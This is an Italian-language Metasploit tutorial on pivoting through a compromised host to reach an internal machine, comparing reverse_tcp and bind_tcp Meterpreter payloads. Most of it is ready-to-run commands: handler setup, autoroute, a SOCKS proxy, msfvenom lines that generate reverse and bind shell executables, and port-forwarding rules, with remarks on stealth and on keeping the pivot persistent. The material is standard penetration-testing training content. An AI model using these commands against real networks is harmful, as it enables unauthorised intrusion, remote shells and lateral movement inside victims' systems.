Tutorials

Reverse TCP vs Bind TCP

Utilizzare una macchina compromessa Host A per pivotare verso una seconda macchina interna Host B e ottenere una shell Meterpreter tramite payload reversetcp o bindtcp. ---

#exploitation#metasploit

🧭 Pivoting con Metasploit: reverse_tcp vs bind_tcp

🎯 Obiettivo

Utilizzare una macchina compromessa (Host A) per pivotare verso una seconda macchina interna (Host B) e ottenere una shell Meterpreter tramite payload reverse_tcp o bind_tcp.


🧱 Scenario Rete

text
Attaccante: 192.168.1.100 Host A (compromesso): 192.168.1.10 Host B (target interno): 10.0.0.5
  • Host A ha accesso sia a Internet (rete dell'attaccante) che alla rete interna (dove risiede B).
  • L’attaccante non può raggiungere direttamente Host B.
  • Si utilizza A come pivot per raggiungere B.

🧪 Metodo 1 – reverse_tcp tramite pivot

✔️ Vantaggi

  • Maggiore stealth (B non espone porte).
  • Utilizzabile con payload comuni (exe, stageless, etc.).

🛠️ Procedura

#### 1. Ottenere una sessione Meterpreter su Host A

bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

#### 2. Abilitare il pivoting con autoroute

bash
background
use post/multi/manage/autoroute
set SESSION <ID di host "A">
run

Conferma con:

bash
run autoroute -p

#### 3. Avviare un proxy SOCKS per accesso tunnellizzato

bash
use auxiliary/server/socks_proxy
set SRVPORT 1080
run

#### 4. Generare un payload per Host B (che torna su A)

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=5555 -f exe -o payload_b.exe

#### 5. Avviare un listener su A tramite port forwarding

In Meterpreter:

bash
portfwd add -l 5555 -p 5555 -r 10.0.0.5

Oppure: usa un secondo handler in ascolto "locale":

bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 5555
run

#### 6. Eseguire il payload su B (via RCE, SMB, PsExec, ecc.)


🧪 Metodo 2 – bind_tcp con port forwarding

✔️ Vantaggi

  • Nessuna connessione in uscita da B (utile se outbound è filtrato).
  • Controllo diretto della sessione.

❌ Svantaggi

  • La porta resta aperta su B, più rilevabile.
  • Necessita port forwarding o SOCKS per accesso.

🛠️ Procedura

#### 1. Generare il payload bind_tcp per Host B

bash
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o payload_b.exe

#### 2. Caricare ed eseguire il payload su B

#### 3. Aprire il port forwarding dal tuo attaccante tramite la sessione su A:

bash
portfwd add -l 4444 -p 4444 -r 10.0.0.5

Ora puoi connetterti da Metasploit:

bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 127.0.0.1
set RPORT 4444
run

📌 Riepilogo rapido – Scelte strategiche

PayloadIngress/egressStealthRichiede portfwdUso consigliato
reverse_tcpEgressAltaSì (attraverso A)Quando puoi tunnelare B→A
bind_tcpIngressBassaQuando outbound è bloccato

🔍 Tools/metodi alternativi

  • post/multi/manage/autoroute
  • auxiliary/server/socks_proxy
  • portfwd in Meterpreter
  • proxychains + socks4a
  • route per controllare la tabella interna di Metasploit

📎 Note finali

  • Tutto il traffico verso B deve essere tunnelato tramite A, altrimenti non sarà raggiungibile.
  • I firewall locali su B possono ancora bloccare bind_tcp.
  • In alternativa puoi configurare una VPN interna tra A e il tuo attaccante per rendere persistente il pivot.